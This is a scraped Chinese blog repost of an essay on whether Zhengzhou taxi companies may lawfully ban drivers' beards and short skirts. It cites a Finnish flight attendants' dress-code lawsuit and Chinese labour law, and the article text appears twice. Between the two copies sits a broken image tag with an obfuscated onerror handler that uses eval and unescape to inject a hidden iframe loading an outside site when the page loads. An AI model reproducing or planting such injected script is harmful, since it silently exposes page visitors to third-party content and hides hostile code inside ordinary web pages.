的哥的胡须和空姐的短裙
[转贴 2010-02-22 03:38:30]
的哥的胡须和空姐的短裙
周斌
近日报载，郑州市的一些出租车公司根据主管部门意见，规定“的哥”不能留胡须、蓄长发，不得赤背，着短裤汗衫拖鞋；“的姐”则不得浓妆艳抹，着短裙和奇装异服。该市的城市客运管理处还为每个驾驶员配备了“三项治理”考核卡，司机有违承诺，将面临扣分，并记入卡内，纳入违章考核一并处罚；情节严重者，还将吊销驾驶员服务资格。
消息一出，不少“的哥”给报社打电话说，要求出租车司机注意仪表整洁可以理解，要求“的哥”不得赤背等也是必要的，但是留胡子并不等于仪表不整。从武圣关羽到文豪鲁迅不都是xx的“美须公”吗？更有人发出诘问：禁止“的哥”留胡子、“的姐”穿短裙，有何法律依据？
这个问题倒是有点意思。当然，不会有哪条法律对员工的胡子长短作出规定，但是员工的仪表问题弄不好就会引出纠纷。国内是否有人真的去打过“留须官司”尚未听闻，但是芬兰法院确实审理过一个“短裙争议案”，不过起诉方并不是为了赢得“穿短裙的权利”，相反是为了讨还“不穿短裙的权利”。
芬兰航空公司曾经规定，女乘务员必须着公司统一制作的短裙。由于乘务员在服务过程中，经常需要弯腰或下蹲，空姐们觉得着短裙远不如穿裤子来得方便。无奈之下，她们集体到法院告状，终于夺回了“穿长裤工作”的权利。
这个案例的确耐人寻味。为什么芬兰法院会支持空姐们的请求？因为公司的着装规定有可能使空姐们感到难堪，侵犯了她们的人身自由权。各国法律都无一例外地把人身自由权作为法定的基本权利。人身自由权包括身体自由权和意志自由权，它是指自然人在法定的范围内，按照自己的意志和利益进行行动和思维，不受约束、控制或妨碍的权利。
我国《劳动法》第四条规定：“用人单位应当依法建立和完善规章制度，保障劳动者享有劳动权利和履行劳动义务。”《{zg}人民法院关于审理劳动争议案件适用法律若干问题的解释》指出：“用人单位根据《劳动法》第四条之规定，通过民主程序制定的规章制度，不违反国家法律、行政法规及政策规定，并已向劳动者公示的，可以作为人民法院审理劳动争议案件的依据。”由此可见，用人单位有权在规章制度中，对于员工的仪容着装等提出要求，但其前提是“不违反国家法律、行政法规及政策规定”，不能侵犯劳动者的人身自由。
当然在社会生活中，每个人的自由都必须以社会的利益和他人的自由为前提。如今年高考前夕，北京市崇文区有关部门考虑到往年有考生反映，穿高跟鞋的监考老师走路产生噪音，影响了他们的考试，要求监考老师一律穿平底胶底鞋或平底布鞋。这项规定不但令广大考生满意，也没听说监考老师们有什么意见。道理很简单：监考老师有了作响的“自由”，考生们就没有了安静的“自由”。
类似的例子还有卫生部曾经发布的《医院职业服装管理暂行规定》，其中明令医务人员“不准留长发和长指甲（戴圆帽将发收入帽内；戴燕帽发长不得过肩）。工作时间禁止穿硬底鞋。”道理也很简单：医务人员有了不讲卫生的“自由”，病人们就失去了卫生xx的“自由”。
现在回到郑州的“胡子公案”。“禁须令”是否站得住脚，关键还在于广大乘客的态度。如果乘客对于“的哥”留须抱以平和、宽容的心态，则留不留胡子只是“的哥”的人身自由；如果乘客对此持以厌恶、排挤的心理，则“的哥”也有义务在仪表上使服务对象感到满意。而实际上又有多少乘客，会很在意驾驶员脸上的胡子呢？
问题还在于，“禁须令”操作起来也有点困难。男性的胡子一直在长，一是长到多长才算“留胡须”呢？一厘米还是两厘米？至于那些长络腮胡子的“的哥”就更不好说了。二是长到多长算“情节严重”？无论是从法律依据上来说，还是从留须与仪表整洁的关系来看，以“的哥”的胡子较长为由取消其“驾驶员服务资格”，似乎都不大说得过去。
------------------
顶
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_200_200.html%20width%3D200%20height%3D200%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
近日报载，郑州市的一些出租车公司根据主管部门意见，规定“的哥”不能留胡须、蓄长发，不得赤背，着短裤汗衫拖鞋；“的姐”则不得浓妆艳抹，着短裙和奇装异服。该市的城市客运管理处还为每个驾驶员配备了“三项治理”考核卡，司机有违承诺，将面临扣分，并记入卡内，纳入违章考核一并处罚；情节严重者，还将吊销驾驶员服务资格。
消息一出，不少“的哥”给报社打电话说，要求出租车司机注意仪表整洁可以理解，要求“的哥”不得赤背等也是必要的，但是留胡子并不等于仪表不整。从武圣关羽到文豪鲁迅不都是xx的“美须公”吗？更有人发出诘问：禁止“的哥”留胡子、“的姐”穿短裙，有何法律依据？
这个问题倒是有点意思。当然，不会有哪条法律对员工的胡子长短作出规定，但是员工的仪表问题弄不好就会引出纠纷。国内是否有人真的去打过“留须官司”尚未听闻，但是芬兰法院确实审理过一个“短裙争议案”，不过起诉方并不是为了赢得“穿短裙的权利”，相反是为了讨还“不穿短裙的权利”。
芬兰航空公司曾经规定，女乘务员必须着公司统一制作的短裙。由于乘务员在服务过程中，经常需要弯腰或下蹲，空姐们觉得着短裙远不如穿裤子来得方便。无奈之下，她们集体到法院告状，终于夺回了“穿长裤工作”的权利。
这个案例的确耐人寻味。为什么芬兰法院会支持空姐们的请求？因为公司的着装规定有可能使空姐们感到难堪，侵犯了她们的人身自由权。各国法律都无一例外地把人身自由权作为法定的基本权利。人身自由权包括身体自由权和意志自由权，它是指自然人在法定的范围内，按照自己的意志和利益进行行动和思维，不受约束、控制或妨碍的权利。
我国《劳动法》第四条规定：“用人单位应当依法建立和完善规章制度，保障劳动者享有劳动权利和履行劳动义务。”《{zg}人民法院关于审理劳动争议案件适用法律若干问题的解释》指出：“用人单位根据《劳动法》第四条之规定，通过民主程序制定的规章制度，不违反国家法律、行政法规及政策规定，并已向劳动者公示的，可以作为人民法院审理劳动争议案件的依据。”由此可见，用人单位有权在规章制度中，对于员工的仪容着装等提出要求，但其前提是“不违反国家法律、行政法规及政策规定”，不能侵犯劳动者的人身自由。
当然在社会生活中，每个人的自由都必须以社会的利益和他人的自由为前提。如今年高考前夕，北京市崇文区有关部门考虑到往年有考生反映，穿高跟鞋的监考老师走路产生噪音，影响了他们的考试，要求监考老师一律穿平底胶底鞋或平底布鞋。这项规定不但令广大考生满意，也没听说监考老师们有什么意见。道理很简单：监考老师有了作响的“自由”，考生们就没有了安静的“自由”。
类似的例子还有卫生部曾经发布的《医院职业服装管理暂行规定》，其中明令医务人员“不准留长发和长指甲（戴圆帽将发收入帽内；戴燕帽发长不得过肩）。工作时间禁止穿硬底鞋。”道理也很简单：医务人员有了不讲卫生的“自由”，病人们就失去了卫生xx的“自由”。
现在回到郑州的“胡子公案”。“禁须令”是否站得住脚，关键还在于广大乘客的态度。如果乘客对于“的哥”留须抱以平和、宽容的心态，则留不留胡子只是“的哥”的人身自由；如果乘客对此持以厌恶、排挤的心理，则“的哥”也有义务在仪表上使服务对象感到满意。而实际上又有多少乘客，会很在意驾驶员脸上的胡子呢？
问题还在于，“禁须令”操作起来也有点困难。男性的胡子一直在长，一是长到多长才算“留胡须”呢？一厘米还是两厘米？至于那些长络腮胡子的“的哥”就更不好说了。二是长到多长算“情节严重”？无论是从法律依据上来说，还是从留须与仪表整洁的关系来看，以“的哥”的胡子较长为由取消其“驾驶员服务资格”，似乎都不大说得过去。
------------------
顶
郑重声明：资讯 【的哥的胡须和空姐的短裙- 金融论文- hearteds - 和讯博客】由 发布，版权归原作者及其所在单位，其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实，请读者仅作参考，并请自行核实相关内容。若本文有侵犯到您的版权， 请你提供相关证明及申请并与我们联系（qiyeku # qq.com）或【在线投诉】，我们审核后将会尽快处理。
—— 相关资讯 ——
